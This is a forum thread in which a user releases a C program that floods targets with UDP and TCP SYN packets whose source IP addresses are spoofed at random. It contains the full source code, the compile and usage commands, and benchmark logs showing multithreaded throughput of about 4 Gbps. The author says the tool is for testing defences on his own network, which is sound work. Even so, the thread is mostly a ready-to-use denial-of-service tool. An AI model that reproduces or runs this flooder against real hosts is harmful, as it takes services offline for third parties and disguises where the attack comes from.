Jump to content
 Share

Roy

[C] Packet Flooder

Recommended Posts

Hey everyone,

 

I just wanted to release my newest C project here. I've rewritten my UDP Sender program and added support for TCP SYN flooding. This also randomizes/spoofs the source IP and port each time a packet is sent. Therefore, it will come from a new IP each time. I made this program to test mitigating TCP-related attacks (such as the common SYN flood attack). I've been messing with TCP SYN cookies, the TCP backlog queue, TCP timeouts, and more to see how a flood affects the victim. I've been doing all of this testing on my local network.

 

Description

This is an improved version of my UDP Sender program. However, this program also supports TCP SYN floods. The source IP is completely randomized/spoofed each time a packet is sent.

 

Why Did I make This?

I've been learning how to mitigate TCP-related attacks recently and decided to make a TCP SYN flood tool. Since I was planning to rewrite my UDP Sender program anyways, I decided to create a program that does both UDP and TCP (SYN) floods.

 

Compiling

I used GCC to compile this program. You must add -lpthread at the end of the command when compiling via GCC.

 

Here's an example:

 

gcc -g src/flood.c -o src/flood -lpthread

 

Usage

Here's output from the --help flag that goes over the program's command line usage:

 

./flood --help
Usage for: ./flood:
--dev -i => Interface name to bind to
--dst -d => Destination IP to send TCP packets to
--port -p => Destination port (0 = random port)
--interval => Interval between sending packets in micro seconds.
--threads -t => Amount of threads to spawn (default is host's CPU count)
--verbose -v => Print how much data we sent each time.
--min => Minimum payload length.
--max => Maximum payload length.
--tcp => Send TCP packet with SYN flag set instead of UDP packet.
--help -h => Show help menu information.

 

Example:

 

./flood --dev ens18 --dst 10.50.0.4 --port 80 -t 1 --interval 100000 --tcp --min 1200 --max 1200 -v

 

Credits

  • @Roy - Created the program.

 

GitHub Link

 

Thanks!

Share this post


Link to post
Share on other sites


Latest source code of src/flood.c can be found here:

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysinfo.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/if_packet.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <inttypes.h>
#include <getopt.h>
#include <pthread.h>
#include <string.h>

#include "include/csum.h"

#define MAX_PCKT_LENGTH 0xFFFF

// Command line structure.
struct pcktinfo
{
    char *dIP;
    char *interface;
    uint16_t port;
    uint64_t time;
    uint16_t threads;
    uint16_t min;
    uint16_t max;
} pckt;

// Global variables.
uint8_t cont = 1;
int help = 0;
int tcp = 0;
int verbose = 0;
uint8_t dMAC[ETH_ALEN];
uint8_t sMAC[ETH_ALEN];

void signalHndl(int tmp)
{
    cont = 0;
}

void GetGatewayMAC()
{
    char cmd[] = "ip neigh | grep \"$(ip -4 route list 0/0|cut -d' ' -f3) \"|cut -d' ' -f5|tr '[a-f]' '[A-F]'";

    FILE *fp =  popen(cmd, "r");

    if (fp != NULL)
    {
        char line[18];

        if (fgets(line, sizeof(line), fp) != NULL)
        {
            sscanf(line, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &dMAC[0], &dMAC[1], &dMAC[2], &dMAC[3], &dMAC[4], &dMAC[5]);
        }

        pclose(fp);
    }
}

uint16_t randNum(uint16_t min, uint16_t max)
{
    return (rand() % (max - min + 1)) + min;
}

void *threadHndl(void *data)
{
    // Create sockaddr_ll struct.
    struct sockaddr_ll sin;

    // Fill out sockaddr_ll struct.
    sin.sll_family = PF_PACKET;
    sin.sll_ifindex = if_nametoindex(pckt.interface);
    sin.sll_protocol = htons(ETH_P_IP);
    sin.sll_halen = ETH_ALEN;

    // Initialize socket FD.
    int sockfd;

    // Attempt to create socket.
    if ((sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("socket");

        pthread_exit(NULL);
    }

    // Receive the interface's MAC address (the source MAC).
    struct ifreq ifr;
    strcpy(ifr.ifr_name, pckt.interface);

    // Attempt to get MAC address.
    if (ioctl(sockfd, SIOCGIFHWADDR, &ifr) != 0)
    {
        perror("ioctl");

        pthread_exit(NULL);
    }

    // Copy source MAC to necessary variables.
    memcpy(sMAC, ifr.ifr_addr.sa_data, ETH_ALEN);
    memcpy(sin.sll_addr, sMAC, ETH_ALEN);

    // Attempt to bind socket.
    if (bind(sockfd, (struct sockaddr *)&sin, sizeof(sin)) != 0)
    {
        perror("bind");

        pthread_exit(NULL);
    }

    // Loop.
    while (cont)
    {
        // Get source port (random).
        uint16_t srcPort;

        srcPort = randNum(1024, 65535);

        // Get destination port.
        uint16_t dstPort;

        // Check if port is 0 (random).
        if (pckt.port == 0)
        {
            dstPort = randNum(10, 65535);
        }
        else
        {
            dstPort = pckt.port;
        }

        // Spoof source IP as any IP address.
        uint16_t tmp[4];
        char IP[32];

        tmp[0] = randNum(1, 254);
        tmp[1] = randNum(1, 254);
        tmp[2] = randNum(1, 254);
        tmp[3] = randNum(1, 254);

        sprintf(IP, "%d.%d.%d.%d", tmp[0], tmp[1], tmp[2], tmp[3]);

        // Initialize packet buffer.
        char buffer[MAX_PCKT_LENGTH];

        // Create ethernet header.
        struct ethhdr *eth = (struct ethhdr *)(buffer);

        // Fill out ethernet header.
        eth->h_proto = htons(ETH_P_IP);
        memcpy(eth->h_source, sMAC, ETH_ALEN);
        memcpy(eth->h_dest, dMAC, ETH_ALEN);

        // Create IP header.
        struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));

        // Fill out IP header.
        iph->ihl = 5;
        iph->version = 4;

        // Check for TCP.
        if (tcp)
        {
            iph->protocol = IPPROTO_TCP;
        }
        else
        {
            iph->protocol = IPPROTO_UDP;
        }
        
        iph->id = 0;
        iph->frag_off = 0;
        iph->saddr = inet_addr(IP);
        iph->daddr = inet_addr(pckt.dIP);
        iph->tos = 0x00;
        iph->ttl = 64;

        // Calculate payload length and payload.
        uint16_t dataLen = randNum(pckt.min, pckt.max);

        // Initialize payload.
        uint16_t l4header = (iph->protocol == IPPROTO_TCP) ? sizeof(struct tcphdr) : sizeof(struct udphdr);
        unsigned char *data = (unsigned char *)(buffer + sizeof(struct ethhdr) + sizeof(struct iphdr) + l4header);

        // Fill out payload with random characters.
        for (uint16_t i = 0; i < dataLen; i++)
        {
            *data = rand() % 255;
            *data++;
        }

        // Check protocol.
        if (iph->protocol == IPPROTO_TCP)
        {
            // Create TCP header.
            struct tcphdr *tcph = (struct tcphdr *)(buffer + sizeof(struct ethhdr) + sizeof(struct iphdr));

            // Fill out TCP header.
            tcph->doff = 5;
            tcph->source = htons(srcPort);
            tcph->dest = htons(dstPort);
            tcph->ack_seq = 0;
            tcph->seq = 0;

            // Set SYN flag to 1.
            tcph->syn = 1;

            // Calculate length and checksum of IP header.
            iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + dataLen);
            iph->check = 0;
            iph->check = ip_fast_csum(iph, iph->ihl);

            // Calculate TCP header checksum.
            tcph->check = 0;
            tcph->check = csum_tcpudp_magic(iph->saddr, iph->daddr, sizeof(struct tcphdr) + dataLen, IPPROTO_TCP, csum_partial(tcph, sizeof(struct tcphdr) + dataLen, 0));
        }
        else
        {
            // Create UDP header.
            struct udphdr *udph = (struct udphdr *)(buffer + sizeof(struct ethhdr) + sizeof(struct iphdr));

            // Fill out UDP header.
            udph->source = htons(srcPort);
            udph->dest = htons(dstPort);
            udph->len = htons(sizeof(struct udphdr) + dataLen);

            // Calculate length and checksum of IP header.
            iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + dataLen);
            iph->check = 0;
            iph->check = ip_fast_csum(iph, iph->ihl);

            // Calculate UDP header checksum.
            udph->check = 0;
            udph->check = csum_tcpudp_magic(iph->saddr, iph->daddr, sizeof(struct udphdr) + dataLen, IPPROTO_UDP, csum_partial(udph, sizeof(struct udphdr) + dataLen, 0));
        }
        
        // Initialize variable that represents how much data we've sent.
        uint16_t sent;

        // Attempt to send data.
        if ((sent = sendto(sockfd, buffer, ntohs(iph->tot_len) + sizeof(struct ethhdr), 0, (struct sockaddr *)&sin, sizeof(sin))) < 0)
        {
            perror("send");

            continue;
        }

        // Verbose mode.
        if (verbose)
        {
            fprintf(stdout, "Sent %d bytes to destination.\n", sent);
        }

        // Check if we should wait between packets.
        if (pckt.time > 0)
        {
            usleep(pckt.time);
        }
    }

    // Close socket.
    close(sockfd);
}

// Command line options.
static struct option longoptions[] =
{
    {"dev", required_argument, NULL, 'i'},
    {"dst", required_argument, NULL, 'd'},
    {"port", required_argument, NULL, 'p'},
    {"interval", required_argument, NULL, 1},
    {"threads", required_argument, NULL, 't'},
    {"min", required_argument, NULL, 2},
    {"max", required_argument, NULL, 3},
    {"verbose", no_argument, &verbose, 'v'},
    {"tcp", no_argument, &tcp, 4},
    {"help", no_argument, &help, 'h'},
    {NULL, 0, NULL, 0}
};

void parse_command_line(int argc, char *argv[])
{
    int c;

    // Parse command line.
    while ((c = getopt_long(argc, argv, "i:d:t:vh", longoptions, NULL)) != -1)
    {
        switch(c)
        {
            case 'i':
                pckt.interface = optarg;

                break;

            case 'd':
                pckt.dIP = optarg;

                break;

            case 'p':
                pckt.port = atoi(optarg);

                break;

            case 1:
                pckt.time = strtoll(optarg, NULL, 10);

                break;

            case 't':
                pckt.threads = atoi(optarg);

                break;

            case 2:
                pckt.min = atoi(optarg);

                break;

            case 3:
                pckt.max = atoi(optarg);

                break;

            case 'v':
                verbose = 1;

                break;

            case 'h':
                help = 1;

                break;

            case '?':
                fprintf(stderr, "Missing argument.\n");

                break;
        }
    }
}

int main(int argc, char *argv[])
{
    // Set optional defaults.
    pckt.threads = get_nprocs();
    pckt.time = 1000000;
    pckt.port = 0;
    pckt.min = 0;
    pckt.max = 1200;

    // Parse the command line.
    parse_command_line(argc, argv);

    // Check if help flag is set. If so, print help information.
    if (help)
    {
        fprintf(stdout, "Usage for: %s:\n" \
            "--dev -i => Interface name to bind to.\n" \
            "--dst -d => Destination IP to send TCP packets to.\n" \
            "--port -p => Destination port (0 = random port).\n" \
            "--interval => Interval between sending packets in micro seconds.\n" \
            "--threads -t => Amount of threads to spawn (default is host's CPU count).\n" \
            "--verbose -v => Print how much data we sent each time.\n" \
            "--min => Minimum payload length.\n" \
            "--max => Maximum payload length.\n" \
            "--tcp => Send TCP packet with SYN flag set instead of UDP packet.\n" \
            "--help -h => Show help menu information.\n", argv[0]);

        exit(0);
    }

    // Check if interface argument was set.
    if (pckt.interface == NULL)
    {
        fprintf(stderr, "Missing --dev option.\n");

        exit(1);
    }

    // Check if destination IP argument was set.
    if (pckt.dIP == NULL)
    {
        fprintf(stderr, "Missing --dst option\n");

        exit(1);
    }

    // Get destination MAC address (gateway MAC).
    GetGatewayMAC();

    // Print information.
    fprintf(stdout, "Launching against %s:%d (0 = random) from interface %s. Thread count => %d and Time => %" PRIu64 " micro seconds.\n", pckt.dIP, pckt.port, pckt.interface, pckt.threads, pckt.time);

    // Loop thread each thread.
    for (uint16_t i = 0; i < pckt.threads; i++)
    {
        // Create pthread.
        pthread_t pid;

        if ((pid = pthread_create(&pid, NULL, threadHndl, NULL) != 0))
        {
            fprintf(stderr, "Error spawning thread %" PRIu16 "...\n", i);
        }
    }

    // Signal.
    signal(SIGINT, signalHndl);
    
    // Loop!
    while (cont)
    {
        sleep(1);
    }

    // Debug.
    fprintf(stdout, "Cleaning up...\n");

    // Wait a second for cleanup.
    sleep(1);

    // Exit program successfully.
    exit(0);
}

 

Thanks!

Share this post


Link to post
Share on other sites


3 hours ago, .tr0ns said:

you should contribute to the LOIC project!!! 
spacer.png

I'd assume this is some sort of open-source (D)DoS tool? To be honest, my intentions aren't to attack others haha. Instead, I'm trying to do a lot of pen-testing against my local network to learn how to block these type of attacks on our Anycast network. With Compressor V2 that @Dreae and I are working on, we'll be implementing our own (D)DoS filtering. Therefore, I'm trying to understand how attacks work and what I can do to mitigate them, etc.

 

In the TCP SYN flood case, I was messing with TCP SYN cookies, the TCP connection backlog queue, TCP timeouts, and more!

 

Thanks.

Share this post


Link to post
Share on other sites


I just wanted to provide an update. I made A LOT of changes to this project. You can check the commits here.

 

I added many new flags/command line options including --internal (when set, the program spoofs the source address from the 10.0.0.0/8 private IPv4 range). I also added a --src argument that allows you to specify a single source IP. With that said, I've added --smac and --dmac for source and destination MAC addresses (e.g. --dmac 1A:3F:2S:4F:D3:F5).

 

Finally, I HIGHLY improved performance. Before these changes, single-threaded performance was actually faster than multi-threaded performance. It turns out I had bad practices in the thread handles which includes:

 

  1. I used rand() which isn't a thread-safe function. This means all the threads would stop on this function and I was using this when calculating random ports, spoofing IPs, and random payload generation. Obviously, this impacted performance quite a bit. Therefore, I started using rand_r(&seed) instead which is a thread-safe function.
  2. I was using a lot of shared global variables. Therefore, I cut down on this quite a bit. The only legit shared variables I change and use are the packet count and total data count since I'm not sure how to sync these using local variables. Changing the while loop from while(cont) to while(1) highly increased performance as well since it isn't checking the shared cont variable every loop.
  3. Additionally, using the --verbose (or -v) flag highly decreases performance. This is because it performs fprintf() each packet which highly decreases performance (it's printing a string to stdout every packet, so of course it'd decrease performance). If you want to push as much data as possible out, do not use this flag.

 

I also added max packet counts and max time since I kept taking down my local network and had to keep rebooting my home server since I was too lazy to directly connect to it and stop the program while connected to the server directly.

 

With these changes, I was able to push 4 gbps to my loopback interface. Now obviously, my NIC can't actually handle that much, but this is how much the program is capable of pushing out with my CPU speed. Here are some results (please look at the thread count):

 

One Thread

 

root@test02:/home/dev/pcktflood/src# ./flood --dev ens18 --dst 127.0.0.1 -p 33 --internal -t 1 --interval 0 --min 1400 --max 1400 --time 10 --dmac 1A:C4:DF:70:D8:A6
Launching against 127.0.0.1:33 (0 = random) from interface ens18. Thread count => 1 and Time => 0 micro seconds.
Finished in 10 seconds.

Packets Total => 465677.
Packets Per Second => 46567.

Megabytes Total => 671.
Megabytes Per Second => 67.

Megabits Total => 5372.
Megabits Per Second => 537.

 

Two Threads

 

root@test02:/home/dev/pcktflood/src# ./flood --dev ens18 --dst 127.0.0.1 -p 33 --internal -t 2 --interval 0 --min 1400 --max 1400 --time 10 --dmac 1A:C4:DF:70:D8:A6
Launching against 127.0.0.1:33 (0 = random) from interface ens18. Thread count => 2 and Time => 0 micro seconds.
Finished in 10 seconds.

Packets Total => 1034995.
Packets Per Second => 103499.

Megabytes Total => 1492.
Megabytes Per Second => 149.

Megabits Total => 11939.
Megabits Per Second => 1193.

 

Six Threads

 

root@test02:/home/dev/pcktflood/src# ./flood --dev ens18 --dst 127.0.0.1 -p 33 --internal -t 6 --interval 0 --min 1400 --max 1400 --time 10 --dmac 1A:C4:DF:70:D8:A6
Launching against 127.0.0.1:33 (0 = random) from interface ens18. Thread count => 6 and Time => 0 micro seconds.
Finished in 10 seconds.

Packets Total => 3116140.
Packets Per Second => 311614.

Megabytes Total => 4496.
Megabytes Per Second => 449.

Megabits Total => 35970.
Megabits Per Second => 3597.

 

Twelve Threads (CPU count on VM)

 

root@test02:/home/dev/pcktflood/src# ./flood --dev ens18 --dst 127.0.0.1 -p 33 --internal -t 12 --interval 0 --min 1400 --max 1400 --time 10 --dmac 1A:C4:DF:70:D8:A6
Launching against 127.0.0.1:33 (0 = random) from interface ens18. Thread count => 12 and Time => 0 micro seconds.
Finished in 10 seconds.

Packets Total => 3591233.
Packets Per Second => 359123.

Megabytes Total => 5243.
Megabytes Per Second => 524.

Megabits Total => 41951.
Megabits Per Second => 4195.

 

Twenty-Four Threads (same performance as twelve threads since that's my CPU count)

 

root@test02:/home/dev/pcktflood/src# ./flood --dev ens18 --dst 127.0.0.1 -p 33 --internal -t 24 --interval 0 --min 1400 --max 1400 --time 10 --dmac 1A:C4:DF:70:D8:A6
Launching against 127.0.0.1:33 (0 = random) from interface ens18. Thread count => 24 and Time => 0 micro seconds.
Finished in 10 seconds.

Packets Total => 3584189.
Packets Per Second => 358418.

Megabytes Total => 5239.
Megabytes Per Second => 523.

Megabits Total => 41918.
Megabits Per Second => 4191.

 

As I said before, this was against the loopback interface. I didn't want to perform this against another home VM I have because it'd take down my network and I've done that too many times already, haha.

 

Thanks!

Share this post


Link to post
Share on other sites


Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now


×
×
  • Create New...